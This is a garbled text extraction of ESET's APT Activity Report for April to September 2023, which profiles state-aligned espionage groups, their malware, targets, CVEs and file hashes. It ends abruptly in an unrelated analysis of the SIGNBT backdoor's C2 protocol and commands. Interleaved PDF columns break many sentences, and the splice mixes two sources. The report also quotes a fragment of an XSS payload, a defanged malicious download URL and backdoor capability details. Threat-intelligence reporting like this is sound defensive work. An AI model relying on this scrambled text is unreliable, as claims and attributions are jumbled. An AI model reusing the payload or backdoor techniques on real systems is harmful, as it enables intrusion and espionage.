+Industrial networks +European Union +Slovakia +IT companies +French Polynesia +South Korea +Local governments and institutions +Greece +Tajikistan +Media organizations +Guyana +rkiye (aka Turkey) +Political entities +Hong Kong +Ukraine +Private companies +Israel +United Arab Emirates +Scholars and journalists specializing in North Korea +Japan +United States +Research institutes +Kuwait +Uyghurs and other Turkic ethnic minorities +Telecommunication operators +Mali +Universities +APRIL - SEPTEMBER | 4 +ESET APT ACTIVITY REPORT +Executive summary +China +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 5 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 6 +Mustang Panda FishMonger TA410 GREF MirrorFace GALLIUM DigitalRecyclers TheWizards PerplexedGoblin Worok +Summary of China-aligned APT group activity seen by +ESET Research in April 2023 + September 2023 +During the past six months, ESET researchers continued to observe several +Targets first received a spearphishing email with a tracking pixel, enabling +box (see Figure 1) and if the visitor clicks on OK, a Windows executable is +China-aligned APT groups targeting European government organizations, +the attacker to know when the target opens the email. A malicious link is +downloaded onto the device. +including Mustang Panda and a group we named DigitalRecyclers. We also +then sent in a second email. We believe the goal is to identify users who are +observed a governmental entity in Guyana being targeted by a cluster of +more likely to open phishing emails and target them specifically in order to +activity we named Operation Jacana, a governmental entity in Kuwait and +reduce the risk of the payload being reported to IT or security services. +a hosting provider targeted by TA410 and, finally, a watering hole attack by +FishMonger against a Pakistani government website. In the same period, +MirrorFace continued to heavily target Japanese organizations. We also +uncovered a China-aligned APT group, which we named TheWizards, spying +on Chinese speakers in mainland China and abroad using adversary-in-themiddle (AitM) attacks. We also discovered that the Worok APT group has +developed a new Go backdoor that we have named GoFighting. +That malicious link leads to a ZIP archive containing a LNK file that +downloads and executes an HTA script, which then deploys the group +classic trident Korplug loader. The only significant difference here being +that the malicious DLL is written in Nim. While this is the first instance we +could find of Mustang Panda using Nim, it is consistent with the group +recent exploration of new programming languages and technology. +Over the last months, we also observed Mustang Panda increasingly relying +Mustang Panda +on Cloudflare to hide its actual C&C and distribution servers. +In August, ESET researchers identified a campaign by Mustang Panda +FishMonger +targeting a governmental organization in Slovakia. There is no indication +leading us to think that this organization was successfully compromised. It +is worth noting that this Mustang Panda spearphishing operation happened +amidst the political campaigns for the Slovak parliamentary elections. +In July, ESET researchers detected a watering-hole attack on a legitimate, +but presumably compromised, Pakistani government website. If the +visitor is using a computer, not a smartphone, the script displays an alert +Figure 1. Malicious alert box +The downloaded executable is a backdoor named Trochilus, which is +commonly used by other China-aligned APT groups such as Webworm. +However, the C&C server had typical characteristics of the ShadowPad +servers deployed by FishMonger. Therefore, we believe with medium +confidence that FishMonger is behind this watering-hole attack and is a +Trochilus backdoor user. +ESET APT ACTIVITY REPORT +Executive summary +TA410 +The various TA410 subgroups were defined in a +WeLiveSecurity blogpost. +FlowingFrog +Targeted countries and verticals +China +India +This version of LookBack is almost identical to those +we described in our WeLiveSecurity blogpost, while +the Stegmap sample downloads a image containing +the encrypted next stage encoded in the image. +Iran +Middle East +North Korea +Russia +Other +GREF +We recently published a WeLiveSecurity blogpost +documenting two active campaigns targeting Android +users, that we attribute to the GREF group. +About ESET +APRIL - SEPTEMBER 2023 | 7 +The campaigns have distributed the Android +BadBazaar espionage code through the Google Play +store, Samsung Galaxy Store, and dedicated websites +representing the malicious apps Signal Plus Messenger +and FlyGram. The threat actors patched the opensource Signal and Telegram apps for Android with +In mid 2023, we observed activity by the FlowingFrog +malicious code that we have identified as BadBazaar, +TA410 subgroup on the server of a US hosting provider. +which has previously been used to target Uyghurs and +We detected samples of the Tendyron backdoor +other Turkic ethnic minorities. Based on our research, +that were deployed after the attacker unsuccessfully +potential victims were also lured to install the malicious +tried to deploy multiple Jakarta Server Pages (JSP) +FlyGram app from a Uyghur Telegram group focused +web backdoors. The Tendyron backdoor and multiple +on Android app sharing; see Figure 2. +variations of the JSP web backdoor were transferred to +The purpose of these trojanized apps is to exfiltrate +the server in quick succession. +user data and, specifically in Signal Plus Messenger, to +We believe initial access was achieved by exploiting +spy on victims + Signal communication. After publishing +a known vulnerability, since the affected server +our blogpost, Volexity published a report on three +was running an out-of-date version of the Adobe +Android malware families + BadBazaar, BadSignal, and +ColdFusion application server. +BadSolar + and attributed them to a group they call +EvilBamboo. More specifically, the BadSignal malware +LookingFrog +family analyzed by Volexity is what ESET has described +ESET researchers observed activity in our telemetry +as trojanized Signal and Telegram applications, with the +by the LookingFrog TA410 subgroup on a computer +added malicious code that has the same functionality +belonging to a governmental entity in Kuwait. We +as earlier BadBazaar variants reported by Lookout. +detected a sample of the group +s custom LookBack +In order to avoid confusion: moving forward, we will +implant, along with the Stegmap backdoor and a +adopt this naming convention to distinguish between +persistence tool; both of the latter two were previously +the original BadBazaar, and its BadSignal variant, which +attributed to Looking Frog in a blogpost by Symantec. +is delivered via trojanized applications. +Figure 2. Signal Plus Messenger apps on Google Play (left; no longer available), Samsung Galaxy Store (center), and the FlyGram app on Galaxy Store (right) +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +MirrorFace +MirrorFace continued with its campaigns targeting Japanese entities +exclusively. In August 2023, we observed an interesting change in the +attack vector: instead of compromising an entity via the victim opening a +malicious attachment to a spearphishing email, MirrorFace compromised +an IT company through a vulnerable server. Our analysis of the incident +indicates that the server was most likely compromised through a vulnerable +instance of Proself, an online storage service. Proself released an advisory in +July 2023 stating that its products contained an authentication bypass and +zero-day remote code execution vulnerability that had been confirmed to +be already exploited. +China +India +Iran +Middle East +North Korea +United Arab Emirates, and Hong Kong), and against gambling companies +the attackers exploited one or more of the various remote code execution +based outside mainland China. ESET researchers discovered this threat +vulnerabilities discovered in the past few years on these platforms, or +actor when a malicious update was downloaded by a popular, legitimate +reused already deployed webshells in order to deploy their own implants. +Chinese application. +On the compromised systems, GALLIUM deployed mim221, a custom +TheWizards group has capabilities to conduct adversary-in-the-middle +credential theft implant based on Mimikatz. +(AitM) attacks using a custom tool we discovered and have named +DigitalRecyclers +ESET researchers uncovered the activity of a newly identified +cyberespionage group, which we have named DigitalRecyclers, that +Union since 2018, using a toolset originally developed by threat actors from +time of a research institute. MirrorFace delivered its flagship backdoor +Pakistan in the 2010s. +enriched its toolset repertoire and, besides its in-house developed malware, +MirrorFace has started using publicly available exploitation tools as well. +GALLIUM +During the last six months, ESET researchers have observed GALLIUM +In a recent incident, we were able to determine that the attackers +dropped a first-stage downloader through a Microsoft Exchange web +server accessible from the internet. Interestingly, attackers accessed +the victim +s server using a custom VPN service that is also used by +BackdoorDiplomacy. The use of such custom anonymization networks is +an ongoing trend among China-aligned threat actors. +We believe that DigitalRecyclers is loosely linked to BackdoorDiplomacy and +the wider APT15 family. +compromising telecommunications operators in Mali, T +rkiye, and French +Polynesia, and a government organization in Guatemala. We discovered +these campaigns while monitoring implants known to have been used +by GALLIUM in the past, including the recently documented toolset used +during Operation Tainted Love. +APRIL - SEPTEMBER 2023 | 8 +Microsoft IIS servers, all with numerous webshells detected; it +s likely that +the same trend and once again compromised a vulnerable server, but this +frp, and a previously undescribed backdoor. This shows that MirrorFace has +About ESET +individuals based in mainland China and abroad (e.g., the Philippines, the +repeatedly compromised a governmental organization in the European +EfsPotato, DCOMPotato, FullPowers, Yasso, the customized reverse proxy +Other +Most of the compromised systems are Microsoft Exchange servers or +A few days after the aforementioned incident, MirrorFace continued on +LODEINFO alongside various publicly available exploitation tools such as +Russia +TheWizards +TheWizards is a China-aligned APT group active since at least 2021, +engaging in cyberespionage operations against Chinese-speaking +Spellbinder. This tool uses IPv6 SLAAC spoofing to redirect traffic and +deliver custom malware via software updates by legitimate applications. +The tools developed by this group include two backdoors that we +ve named +WizardNet and DarkNights. +Since gambling is illegal under Chinese law and Chinese citizens thus +turn to foreign online gambling companies, this would explain why +TheWizards group spies on such companies, most likely to identify Chinese +citizens infringing the law. This is not the first time we have witnessed +a China-aligned APT group targeting gambling companies: Operation +ChattyGoblin, which we mentioned in our previous APT activity report, +compromised a gambling company in the Philippines by targeting its +support agents. +PerplexedGoblin +ESET researchers recently discovered a government organization in +the European Union being targeted by an APT group we have named +PerplexedGoblin. It uses a backdoor, TurboSlate, that we discovered and +named in November 2022. +In our T3 2022 APT Activity Report, we mentioned the discovery of this +new backdoor in a government organization in the European Union; it can +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +be deployed in various ways, including a DLL side-loading chain and a bring +your own vulnerable software (BYOVS) chain. At that time, we attributed +TurboSlate with medium confidence to Goblin Panda. However, after +tracking the threat actor behind TurboSlate for months, we reevaluated our +initial assessment: without a strong enough link between TurboSlate and a +known group, we now track this activity cluster as PerplexedGoblin. +Worok +Worok is a China-aligned cyberespionage group, active since at least 2020, +that targets high-profile companies and local governments mostly in Asia, +which we first documented in a WeLiveSecurity blogpost. +ESET researchers discovered a previously undocumented Go backdoor +that we have named GoFighting and that we attribute to Worok. +GoFighting is a reimplementation of Worok +s PowHeartBeat backdoor +and the GoFighting commands are the same as the ones used by Worok +PowHeartBeat backdoor. A noticeable difference from PowHeartBeat is the +presence in GoFighting of a network fallback mechanism based on GitHub. +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 9 +ESET APT ACTIVITY REPORT +Executive summary +India +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 10 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 11 +Donot Team +Summary of India-aligned APT group activity seen by +ESET Research in April 2023 + September 2023 +Donot Team +During the last six months, we noticed most threat +actors in the region moving away from malicious RTF +In the mobile threat landscape, we saw threat actors +(Rich Text Format) files and Equation Editor exploits, +increasing their efforts and a continuing evolution +and trying to find new, reliable ways of distributing +of threats. Donot Team reportedly managed to +their malware. We detected attempts to use LNK +publish its Android trojan on the Google Play store for +(Windows shortcut) files, as well as CHM (Compiled +approximately two months; however, the number of +HTML Help) and HTA (HTML Application) files, with +victims is estimated to be only in the low hundreds. +varying degrees of success. The most prevalent +Speaking of Donot Team, in Q2 and Q3 of 2023 it +compromise vector remains a spearphishing email with +continued its attacks on government organizations, +a macro-enabled Office document in the attachment. +mostly in Pakistan and Bangladesh. The group +s yty +Considering the prevalent use of the Zimbra +framework is still being developed, with a steady +collaboration suite in this region, it is no surprise to see +stream of incremental updates. +that frequent phishing attempts targeting government +organizations continue (we've documented similar +attacks in this WeLiveSecurity blogpost) in Q2 and Q3 +of 2023; most of them use free, dynamic DNS services, +such as servehttp.com or viewdns.net, both owned +by No-IP. We also have detected repeated phishing +attempts imitating the Bangladesh Army Outlook Web +Access portal; see Figure 3. +Figure 3. Phishing page imitating the Bangladesh Army webmail portal +ESET APT ACTIVITY REPORT +Iran +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 12 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 13 +MuddyWater OilRig +Summary of Iran-aligned APT group activity seen by +ESET Research in April 2023 + September 2023 +Over the course of Q2 and Q3 2023, ESET researchers continued tracking +C&C servers. The secondary payload, a PowerShell-based backdoor, can +In early July, we observed a new variant of OilRig +s backdoor, Mango, that +Iran-aligned threat groups targeting victims in Israel (OilRig) and Saudi +download and execute arbitrary payloads. It removes the first payload from +was uploaded to VirusTotal1 by a user in the Netherlands. Five additional +Arabia (MuddyWater). The latter group continues to build and deploy +disk, performs some information gathering on the compromised host, and +samples were submitted within the following week, mostly with the +PowerShell-based backdoors with a focus on initial access and data +begins beaconing to the C&C server every 10 seconds. +file path %ALLUSERSPROFILE%\Office356\Menorah. The sample is a +collection, possibly as an access development team for a more advanced +group. Finally, OilRig has been observed developing and deploying C++ and +C#/.NET backdoors that are generally full-featured backdoors. Initial access +for OilRig still seems to be via spearphishing emails, particularly when +targeting local governments in Israel + an effort on which OilRig has spent +considerable time going back to 2021. +OilRig +In April, we observed OilRig deploying a new toolset to several victims in +Israel. The backdoor, OilForceGTX (named after its filename, gtx.exe), is +deployed in C:\ProgramData\NVIDIA GTX\v10.1, a path that mimics +legitimate NVIDIA software. OilRig also deployed two helper DLLs, +MuddyWater +NotifyTrayLib and Nuget_Tools, to the same directory. These DLLs are +In March 2023, prior to the attack on the Israel Institute of Technology +OilForceGTX to evade detection. In conjunction with this discovery, we also +(aka Technion) by DarkBit (a joint effort between MuddyWater and an +uncovered a Microsoft Excel spreadsheet with a malicious macro that drops +unidentified group), ESET researchers were tracking the C&C infrastructure +OilForceGTX, along with the original email used to deliver the spreadsheet. +used by DarkBit as MuddyWater +s. After that ransomware attack, +Both files were uploaded to VirusTotal by a user in Israel. Based on the +MuddyWater continued well into April to use the same C&C servers +upload location and content, we assess that OilRig was probably targeting +to target an unidentified victim in Saudi Arabia. The initial vector of +a local government institution in Israel, which aligns closely with OilRig +compromise is unknown, but post-compromise activities included the +activity over the past two years. +deployment of a batch script that downloaded a second payload from the +SHA-1: C9D18D01E1EC96BE952A9D7BD78F6BBB4DD2AA2A +meant to provide runtime support in the form of additional modules for +C#/.NET first-stage backdoor and contains small updates to the first version +of Mango that we discovered in early 2023. Both versions support the same +capabilities, with only small changes in the implementation and constants. +Some interesting changes are the changing of the filename and internal +name of the assembly from Mango to Menorah and the modification of the +symbol names throughout the code, probably using an obfuscator/name +generator. The C&C server was updated, but the URL structure, encryption +key, and C&C protocol remained the same. +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Middle East +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 14 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 15 +POLONIUM +Summary of Middle Eastern APT group activity seen by +ESET Research in April 2023 + September 2023 +POLONIUM +POLONIUM continues to field PowerShell-based backdoors, but also uses +Python-based backdoors with a heavy focus on exploiting victims in Israel +for espionage and data theft. +In April, we observed POLONIUM deploying a new backdoor, CreepyPie, +to an unidentified organization in Israel. CreepyPie is a Python script that +connects to a remote C&C server, receives and executes commands, and +sends the output back to the C&C server. The attackers used a short +VBScript to invoke CreepyPie, probably persisting in compromised systems +by executing the VBScript from a scheduled task. +CreepyPie uses the WebSocket protocol to communicate with its C&C +server. Operator command options include taking a screenshot (saved +as GameTools.png) and any command accessible through cmd.exe +(with output saved as a plain text file that is misleadingly named +GameTools.dll). +POLONIUM continues to rely on the CreepySnail backdoor to target victims +in Israel. We also saw the group utilize legitimate utilities such as +ntdsutil.exe + a command line tool for managing Active Directory +to dump the Active Directory database. CreepySnail can then be used to +extract such information from the compromised system. +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +North Korea +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 16 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 17 +Andariel Lazarus ScarCruft Kimsuky Konni +Summary of North Korea-aligned APT group activity +seen by ESET Research in April 2023 + September 2023 +During the last six months, ESET researchers continued to track the +In general, the attackers + TTPs still include the easy-to-detect usage +MultiLayerSwap appeared to be a cryptocurrency trading platform offering +development of several North Korea-aligned threat actors. Andariel and +of native Windows command prompt tools in order to perform +instant transfers across different blockchains. However, MultiLayerSwap did +ScarCruft both targeted Japanese institutions, while most of the observed +reconnaissance and lateral movement. +not appear very trustworthy and after a brief examination we concluded +Lazarus activities were associated with the Operation DreamJob cluster. +We also continued to investigate the use of the SimpleTea malware family: +a common code base used by the Lazarus group to create malware for all +major desktop OS platforms: Windows, Linux, and macOS. Finally, Kimsuky +continued its targeting of international scholars and journalists specializing +in North Korea, and Konni remained active in South Korea. +Lazarus +highlights Lazarus +s ongoing targeting of cryptocurrency-related entities. +We saw activity mostly belonging to the Operation DreamJob cluster in +We also continued to observe Lazarus using macOS payloads against its +this period. In April 2023, we wrote about new Linux malware, OdicLoader +and SimplexTea, in connection with the infamous 3CX supply-chain attack. +OdicLoader is an ELF downloader responsible for fetching and executing +Andariel +the SimplexTea Linux backdoor from the OpenDrive cloud service. At the +In late May 2023, we observed an attack against an industrial network +backdoor was in fact part of a common Lazarus code base used for all +in Japan, conducted by the Andariel group. Various custom tools were +major desktop platforms: Windows, Linux, and macOS. After discovering +deployed, such as an infostealer we have named Shoplifter, capable +this commonality, we decided to use the SimpleTea name for all malware +of logging keystrokes, stealing clipboard content, and exfiltrating the +derived from this common code base, even if there are slight variations in +file system structure. Interestingly, the attackers also deployed AutoIt +their functionalities. +malware with very similar capabilities. Finally, we also observed a simple +HTTP downloader capable of retrieving AES-128-encrypted payloads, and +SpyXstealer, a custom tool used to steal browser data such as passwords +and credit card information. +SHA-1: CB123A197A3BAA8865A3CA2CEE25022D0A578371 +SHA-1: 744A816A4D9FBC0B358500B25E6F5AFD7B52C718 +that it is a copycat of a legitimate cBridge project by CelerNetworks. This +time, we did not know that the code used to compile the SimplexTea Linux +In September, a user from Slovenia submitted a new variant of OdicLoader2 +to VirusTotal . While the variant discussed in our blogpost was disguised +as an HSBC-themed job offer, this one has a MultiLayerSwap theme. +targets. Samples of SimpleTea for macOS were uploaded to VirusTotal3 +from Hong Kong and China, and we also discovered a macOS WebbyTea +downloader. Its associated Python loader has code to pick a payload +according to the OS it is executed on: Windows, Linux, or Darwin (the core +Unix system of macOS). This illustrates again the capability and willingness +of the Lazarus group to attack all major operating systems. +ScarCruft +In this period, ScarCruft continued to target entities in South Korea, but +also in Japan. It still relies on Ruby scripts in some of its campaigns, but also +the RokRAT backdoor. +In September, a ZIP archive containing a malicious LNK file named +Korea National Intelligence Society 2023 Summer Academic +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 18 +Conference and 5th National Strategy +files containing BAT and VBS downloaders. Very similar +Colloquium (Final) - Korea's national +compromise chains have also been reported to be used +security and intelligence in a period of +by the other North Korea-aligned APT groups Kimsuky +great transition.lnk was uploaded to VirusTotal4 +(text in Chinese) and ScarCruft. The campaign +s initial +from South Korea. +payload filenames mention taxes, salaries, or contracts, +such as +.hwp.lnk +Once executed, a decoy PDF is opened (see Figure 4) +(machine translation: Information on submitting +and shellcode is downloaded from OneDrive. At the +time of analysis, the server responded with shellcode +comprehensive income tax explanation +containing the RokRAT backdoor, illustrating the +and +.txt.lnk (machine translation: +materials to the National Tax Service) +continuing usage of this backdoor by ScarCruft. +Corporate rental contract). +Kimsuky +Interestingly, we detected an attempt by Konni to +abuse a recent WinRAR vulnerability: CVE 2023- +Kimsuky adjusted its approaches and, like many other +38831. A crafted, misnamed ZIP file (wallet_ +threat actors, started to utilize tools such as OneNote, +Screenshot_2023_09_06_Qbao_Network.rar) +Compiled HTML Help (CHM), and Windows shortcut +containing a decoy HTML page as well as a malicious +(LNK) files in its campaigns. The group also rewrote +executable + a downloader + was uploaded to +some of its malware in Go to evade detections and to +VirusTotal5. The decoy document contains screenshots +get the upper hand against security solutions. +Kimsuky +s most notable activity is its continuation of a +spearphishing campaign targeting analysts, academic +scholars, researchers, and journalists who focus on +North Korean matters. In this campaign, Kimsuky +impersonates someone from a relevant community +and distributes high-quality spearphishing emails, +in the person +s name, to other selected members of +that community. This enables Kimsuky to gain the +trust of its targets. Often, Kimsuky continues with +the communication in a predefined way to establish +SHA-1: 0105234C9FB904CC4BFD6EC0E1E78163B2F5825C +SHA-1: E0795C874BD9BBDF71C10164C483357F759CB41E +Figure 4. Decoy PDF document +rapport with the target. Once a certain point in the +communication is reached, Kimsuky sends a malicious +attachment or link to the target. The intention is either +to compromise the target +s machine or to harvest +credentials through a fake website mimicking a known +service. The ultimate goal of the campaigns is usually +to gather strategic intelligence. +Figure 5. Decoy document screenshot of a Qbao cryptocurrency wallet +PDF document +Konni +Konni ran several finance-themed campaigns targeting +South Korea. The compromise chain consisted of +spearphishing emails with a link to a ZIP file that +contains a malicious LNK file. If the LNK file is executed, +it runs PowerShell code that extracts both the decoy +document and the actual payload from data appended +to the LNK file. The payloads are commonly CAB or ZIP +of a Qbao cryptocurrency wallet; see Figure 5. +ESET APT ACTIVITY REPORT +Executive summary +Russia +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 19 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 20 +Sandworm Gamaredon Turla Sednit +Summary of Russia-aligned APT group activity seen by +ESET Research in April 2023 + September 2023 +During the past six months, ESET researchers continued to observe activity +command line utility for secure file deletion, SDelete (Secure Delete). +of Russia-aligned APT groups mostly targeting Ukraine and EU countries. +The functionality is like the older NikoWiper variant used in October 2022: +These groups include Sandworm, Gamaredon, Turla, and Sednit, with +at that time it was used against a company in the energy sector in Ukraine. +Gamaredon being the group most active in targeting Ukraine. +In this variant of NikoWiper, the attackers left the PDB path +Sandworm +In April 2023, CERT-UA published a notification about a cyberattack +conducted by Sandworm against a government institution in Ukraine. +Attackers deployed a malicious BAT script (named RoarBat), which performs +data wiping operations using a legitimate WinRAR application. The script +uses WinRAR.exe in command line mode to move files into an archive, and +then deletes the original files once they have been added to the archive. +In June 2023, we discovered another variant of RoarBat, deployed in a media +organization in Ukraine, which is slightly different: specifically, it targets +media files with extensions such as .drawio, .jfif, .mkv, .avi, .mxf, and +.MTS, which are commonly found at media organizations. +In July 2023, we detected two data wiping attacks conducted by Sandworm +using a new version of NikoWiper6. This wiper was deployed against a +government organization and private companies. It abuses a legitimate +SHA-1: BBB7D42ADB6C6F6D3FEE3F80BEBD8CBED7FC3A94 +c:\Users\Mykyta\Desktop\prjs\Chelomey\Release\Chelomey.pdb, +which reveals that this malware project is probably named after Vladimir +Gamaredon +In the current reporting period, Gamaredon significantly improved its +intelligence collecting capabilities. Specifically, it extended the functionality +of existing tools and developed and deployed new tools to collect even +more data from compromised computers. +Chelomey, an engineer and designer in the missile program of the former +In April, we discovered a new version of the PteroSteal credential stealer, +Soviet Union. In addition, attackers left a false flag: they used the Ukrainian +which is now capable of stealing credentials, and other information related +given name Mykyta rather than the same Russian name Nikita. +to email accounts, stored by the email clients Outlook and The Bat!. +In August 2023, we detected a new wiper that we named SharpNikoWiper. +In June, we discovered several new tools: +SharpNikoWiper abuses the legitimate SDelete command line utility, as + PteroCookie, which is capable of stealing cookies from Opera, Firefox, +does NikoWiper, but unlike NikoWiper this variant is written in C#, hence +the name SharpNikoWiper. In addition to data wiping using SDelete, this +wiper attempts to rewrite with zeros the first 65,536 bytes of the first ten +connected hard drives , if they exist, by writing directly to +\\.\PhysicalDrive. +During this period, we observed that Sandworm used a pro-Russian +Telegram channel (@solntsepekZ) to promote information about +cybersabotage operations it had conducted. This Telegram channel +attempts groundlessly to blame CERT-UA and discredit its reputation. +Chrome, and Edge. + PteroSig, which is designed to exfiltrate information stored by the Signal +desktop application. + PteroGram, which exfiltrates data from the Telegram Desktop +application. +In August we discovered two new Gamaredon tools. First, PteroBleed is +designed to exfiltrate IndexedDB data from Opera, Chrome, and Edge +browsers. This tool specifically looks for data stored in this database by web +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 21 +versions of Telegram and WhatsApp applications, and for data that might +for Windows. This vulnerability allows attackers to trigger an NTLM +be used by various Ukrainian military web services. The second tool we +authentication request to an attacker-controlled server by sending a +discovered that month is PteroScout, which is used for reconnaissance. It +specially crafted meeting invite. Initially, this was a zero-day vulnerability +gathers detailed information about the compromised system. +disclosed in March 2023. A newer campaign was targeting organizations in +Ukraine, Poland, and Czechia. +Turla +In July 2023, CERT-UA published a technical analysis of a new implant +named CAPIBAR that it attributes to Turla. Using ESET telemetry, we were +able to detect the deployment of CAPIBAR not only in Ukraine but also +in Greece and Guyana. Most victims are governmental entities, a typical +target of Turla. +We believe that the initial access vector used to deploy the server +component, acting as a C&C server for other victims, is known RCE +vulnerabilities in Microsoft Exchange such as ProxyLogon and ProxyShell. +Sednit +In June 2023, we discovered a set of spearphishing campaigns, which we +named Operation RoundPress, exploiting an XSS vulnerability in Roundcube +(CVE-2020-35730); see an example in Figure 6. Using this vulnerability, +attackers are able to inject malicious JavaScript code into the victim +Roundcube webmail server. The injected code is able to steal emails, +address books, and create forwarding rules to steal incoming emails. This +campaign was also documented by CERT-UA and Recorded Future. +According to our telemetry, Operation RoundPress targets government +staff in Armenia, Tajikistan, and Ukraine. +In August and September 2023, we detected an updated version of +Operation RoundPress spearphishing, exploiting the same XSS vulnerability. +Figure 6. Spearphishing email used in Operation RoundPress +This campaign was targeting organizations in Serbia, Greece, Poland, and +Ukraine. +In August 2023, we detected a Sednit spearphishing campaign targeting the +CVE-2023-38831 WinRAR vulnerability. This vulnerability allows attackers +to execute arbitrary code with WinRAR versions prior to v6.23. According +to Group-IB, it has been used in the wild since April 2023 by crimeware +threat actors against traders. Sednit +s emails used the agenda of the +European parliament as a lure (see Figure 7) and targeted political entities +in the EU and Ukraine. +In August 2023, we detected a new set of spearphishing emails used by +Sednit that exploit the CVE-2023-23397 vulnerability in Microsoft Outlook +Figure 7. Targeted phishing using the European Parliament agenda as a lure +In September 2023, CERT-UA published a notification about a Sednit +spearphishing campaign, whose execution chain relies on the user manually +clicking on a link in the email, which opens an archive, and then executes +a BAT script from that archive. To the best of our knowledge, this was a +completely manual execution chain, relying on the lure to motivate the user +to click on the malicious BAT script. +ESET APT ACTIVITY REPORT +Executive summary +Other +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +About ESET +APRIL - SEPTEMBER 2023 | 22 +ESET APT ACTIVITY REPORT +Executive summary +Targeted countries and verticals +China +India +Iran +Middle East +North Korea +Russia +Other +SturgeonPhisher Winter Vivern +Other notable APT activities +In this section, we review notable activities from +https://akn[.]tj/down/Winrar.rar. Then it extracts +groups with as yet unknown alignments. +and executes the next stage contained in this second +SturgeonPhisher +SturgeonPhisher is a cyberespionage group that we +archive: a .NET dropper and a custom Go backdoor we +named GoBatDoor. +Dear Colleagues, +Due to the planned technical work, the +Ministry's mail server https://. +gov.ua/ may temporarily not respond to user +requests. +first introduced in our previous APT activity report +Winter Vivern +and that mainly targets governments in Central Asia. +Winter Vivern is a cyberespionage group that we +javascript">eval(atob(''));]:##str_replacement_0## +a decline of SturgeonPhisher activity and we assessed +In particular, it exploited an XSS vulnerability, +that the group was busy retooling. +CVE-2022-27926, in the Zimbra portal to target at least +[WebResource: +During the validation process, the malware decodes the first 12 bytes from the C2 server +using base64, replacing the spaces with plus signs to create a seven-character string. This +process is then repeated with the next 12 bytes. The first seven characters from each set are +then XORed and compared to the +success + string. This repetitive procedure is applied to +every HTTP communication sequence to verify that the response aligns with the expected +success + criterion. +Next, the malware sends HTTP requests with the SIGNBTKE header, and if it receives a +success + message from the C2 server, it activates the getInfo function within the CCBrush +class. This function gathers various information about the victim +s computer, such as +computer name, product name, OS details, system uptime, CPU information, system locale, +time zone, network status, and malware configuration data. After sending this systemspecific information, the malware sends another HTTP request with the SIGNBTGC prefix, +this time using a randomly chosen embedded HTTP parameter from a list of 100 possible +parameter names. +client, output, h, slotname, adk, adf, pi, w, format, url, ea, flash, tt_state, dt, bpp, +bdt, idt, shv, ptt, saldr, frm, ife, pv, ga_vid, ga_sid, ga_hid, ga_fc, nhd, u_tz, u_his, +u_java, u_h, u_w, u_ah, u_aw, u_cd, u_nplug, u_nmime, adx, ady, biw, bih, isw, ish, +ifk, +scr_x, scr_y, eid, oid, pvsid, pem, loc, eae, brdim, vis, rsz, abl, pfx, fu, bc, ifi, uci, +fsb, dtd, atyp, ei, s, t, bl, imn, ima, imad, aftp, adh, conn, ime, imex, imeh, imea, +imeb, wh, scp, net, mem, sto, sys, rt, zx, su, tb, calp, rui, u, XU, TREX, UID, SID, dr, +XDR, dt +5/11 +The data received from the C2 server is decrypted using AES with a decryption key obtained +from a SIGNBTLG HTTP request. If the decrypted data is +keep +, the malware responds with + message using the SIGNBTSR prefix, indicating a successful communication. If +there are problems, the malware uses the SIGNBTFI prefix to convey the nature of the +problem or failure in communication. To summarize, the C2 communication process can be +described as follows: +C2 communication process +If the delivered data does not equal +keep +, indicating that specific instructions or actions are +required, the malware proceeds to invoke the corresponding class and function for backdoor +behavior. The SIGNBT malware is equipped with an extensive set of functionalities designed +to exert control over the victim +s system. To perform these functions, the malware receives +instructions from the C2 server in the form of a class name, function name, and any +necessary parameters. It then executes the relevant function embedded in the malware +codebase. +Class name +Function name +CCBrush +getInfo, testConnect, setSleep, setHibernate, sendConfig, setConfig +6/11 +CCList +getProcessList, processKill, runFile, runAsUser, injectDll, freeDll +CCComboBox +getDriveList, getFileDir, changeFileTime, secDelete, folderProperty, +changeFileName, makeNewFolder +CCButton +startDownload, upFile, selfMemload, scrCapture +CCBitmap +ping, netshAdvfirewall, netstat, reg, sc, whoami, arp, nslookup, +systeminfo, ipconfig, net, ver, wmic, deploy, copy +The name of each backdoor command is straightforward, implementing commonly used +Windows commands such as ping, netstat, and systeminfo. It +s important to note that the +backdoor is capable of implanting an additional payload for auto execution, internally named +deploy +. This backdoor function receives file paths via command-line arguments decrypted +with AES. Using this command, SIGNBT has been 